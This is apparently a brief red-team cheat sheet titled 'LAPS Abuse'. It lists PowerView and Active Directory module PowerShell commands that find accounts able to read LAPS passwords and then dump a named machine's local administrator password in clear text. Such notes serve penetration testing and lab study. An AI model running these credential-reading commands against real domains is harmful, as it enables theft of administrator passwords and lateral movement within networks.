23 November 2022

LAPS Abuse

by Aswin Gopalakrishnan

PowerView

Find Users Who Can Read Passwords in Clear Text

Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    ($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and
    ($_.ActiveDirectoryRights -match 'ReadProperty')
} | ForEach-Object {
    $_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier); $_
}

AD Module

  1. Import All Module
    Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
    Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
    Import-Module C:\AD\Tools\AdmPwd.PS\AdmPwd.PS.psd1 -Verbose
    
  2. Get Permissions
    C:\AD\Tools\Get-LapsPermissions.ps1
    
  3. View Password
    Get-ADComputer -Identity us-mailmgmt -Properties ms-mcs-admpwd | select -ExpandProperty ms-mcs-admpwd
    Get-AdmPwdPassword -ComputerName us-mailmgmt
    

    The Get-AdmPwdPassword command uses the LAPS module.


back